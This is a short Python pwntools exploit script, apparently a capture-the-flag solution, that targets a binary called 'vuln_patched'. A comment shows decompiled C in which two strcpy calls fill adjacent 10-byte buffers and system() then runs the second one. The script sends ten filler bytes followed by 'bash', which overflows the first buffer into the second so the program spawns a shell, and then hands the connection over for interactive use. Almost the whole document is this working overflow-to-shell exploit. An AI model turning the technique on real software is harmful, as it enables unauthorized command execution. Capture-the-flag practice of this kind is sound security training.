#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
#void fun(char *param_1,char *param_2)
#{
# char local_1c [10];
# char local_12 [10];
#
# strcpy(local_12,param_2);
# strcpy(local_1c,param_1);
# printf("Goodbye, %s!\n",local_1c);
# fflush(stdout);
# system(local_12);
# return;
#}
payload = b"A" * 10 # local_1c
payload += b"bash" # local_12
r.sendline(payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()